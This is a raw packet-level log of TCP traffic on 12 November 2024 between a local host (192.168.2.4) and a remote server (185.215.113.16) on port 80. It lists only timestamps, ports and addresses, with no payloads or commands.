Nov 12, 2024 02:13:39.168437004 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168481112 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.168577909 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168591022 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168602943 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168615103 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168627024 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168627024 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.168638945 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168648958 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.168649912 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168662071 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168668032 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.168688059 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.168706894 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.168720961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168731928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168742895 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168756008 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168759108 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.168766975 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168782949 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.168807983 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236316919 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236354113 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236381054 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236381054 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236397028 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236402988 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236408949 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236416101 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236430883 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236438990 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236442089 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236445904 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236454964 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236464977 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236474037 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236485004 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236526966 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236546993 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236567020 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236572981 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236577034 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236612082 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236641884 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236674070 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236680031 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236716986 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236717939 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236753941 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236805916 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236850023 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236854076 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236881971 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236886978 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236898899 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.236921072 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236931086 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.236984015 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237020969 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237030029 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237034082 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237045050 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237055063 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237062931 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237087965 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237164021 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237211943 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237221003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237234116 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237260103 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237271070 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237323046 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237370014 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237384081 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237397909 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237410069 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237431049 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237442017 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237457991 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237466097 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237477064 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237488985 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237498999 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237499952 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237508059 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237528086 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237538099 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237652063 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237679005 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237703085 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237714052 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237724066 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237735987 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237749100 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237759113 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237766027 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237792969 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237826109 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237838030 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237848997 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237859011 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.237871885 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.237889051 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.278357029 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.278408051 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.278522015 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.278533936 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.278572083 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.279370070 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279381037 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279392004 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279416084 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.279417038 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279428005 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279434919 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.279443979 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279445887 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.279464006 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.279470921 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.279604912 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279618979 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279630899 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279645920 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.279654026 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.279659033 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279670000 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279680967 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279691935 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279692888 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.279702902 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.279715061 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.279736042 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.283951044 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.283963919 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.283973932 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284008980 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284008980 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284300089 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284352064 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284368038 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284382105 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284393072 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284405947 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284430981 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284471035 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284482002 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284492970 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284504890 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284512997 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284537077 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284598112 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284610987 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284621954 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284634113 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284646988 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284650087 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284665108 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284682035 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284849882 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284863949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284874916 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284895897 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284918070 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284920931 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284955025 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.284965992 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.284976959 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285012960 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285018921 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285032034 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285060883 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285079002 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285145998 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285190105 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285218000 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285228968 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285260916 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285314083 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285327911 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285337925 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285350084 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285358906 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285362005 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285372972 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285383940 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285386086 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285392046 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285396099 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285417080 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285439014 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285620928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285645962 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285655975 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285665035 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285676003 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285691977 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285775900 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285789013 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285800934 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285821915 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285841942 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285841942 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285851955 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285862923 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285873890 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.285893917 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285893917 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.285902023 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.286068916 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.286082029 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.286120892 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.353463888 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353477001 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353487968 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353501081 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353513956 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353517056 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.353545904 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.353554964 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.353712082 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353760004 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.353910923 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353936911 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353950024 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353956938 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.353960991 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353965044 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.353972912 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353985071 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.353986025 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.353992939 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.353996992 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354007959 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354012966 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354021072 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354031086 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354031086 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354049921 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354055882 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354062080 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354074955 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354074955 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354087114 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354099035 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354123116 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354178905 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354191065 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354202032 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354226112 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354249001 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354407072 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354420900 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354432106 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354444027 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354454041 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354454994 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354461908 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354466915 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354479074 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354490995 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354490995 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354505062 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354511976 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354516983 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354528904 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354531050 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354542017 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.354553938 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.354577065 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.355010986 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.355060101 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.355061054 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.355072021 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.355094910 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.355104923 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.355171919 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.355185986 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.355212927 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.355222940 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.395663023 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.395706892 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.395724058 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.395746946 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.395766020 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.395807981 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396301985 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396321058 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396341085 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396347046 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396359921 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396363974 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396372080 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396384001 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396383047 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396392107 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396409035 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396430016 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396533012 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396544933 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396554947 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396578074 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396589041 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396608114 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396621943 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396650076 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396651030 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396661997 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396666050 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396687031 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396697998 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396699905 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396712065 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396739960 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396745920 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396861076 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396874905 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396886110 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.396907091 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.396915913 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.400862932 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.400876999 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.400887012 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.400916100 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.400927067 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401351929 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401365042 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401376009 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401400089 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401411057 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401575089 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401587963 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401598930 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401622057 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401633978 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401659966 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401699066 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401773930 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401784897 CET	80	49763	185.215.113.16	192.168.2.4
